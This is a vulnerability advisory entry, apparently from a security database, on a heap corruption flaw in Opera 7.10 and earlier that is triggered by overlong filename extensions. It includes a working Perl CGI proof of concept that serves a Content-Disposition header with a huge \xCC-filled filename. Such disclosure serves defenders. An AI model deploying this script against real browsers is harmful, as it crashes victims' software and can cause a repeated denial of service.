Opera 6.0.x/7.0 Long File Name Remote Heap Corruption Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType

Vulnerability in Opera 6.0.x/7.0 for Remote Heap Corruptio


                                                source: http://www.securityfocus.com/bid/7450/info

A vulnerability has been reported for Opera versions 7.10 and earlier. The problem is said to occur due to insufficient bounds checking on filename extensions. As a result, it may be possible for an attacker to corrupt heap-based memory.

Successful exploitation of this vulnerability may result in a denial of service, possibly prolonged. If a malicious filename entry were placed in a cache file, Opera may continuously crash until the cache file has been deleted.

#!/usr/bin/perl
# Smash Heap Memory.
# This script is CGI program.

$|=1;
my $filename = &#34;.&#34; . &#34;\xCC&#34; x (int(rand(0x20000)) + 0x100);

print &#34;Content-type: text/html\r\n&#34;;
print qq~Content-Disposition: filename=&#34;$filename&#34;\r\n~;
print &#34;\r\n&#34;;
print &#34;&#60;html&#62;&#60;body&#62;Love & Peace :)&#60;/body&#62;&#60;/html&#62;\r\n&#34;;

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1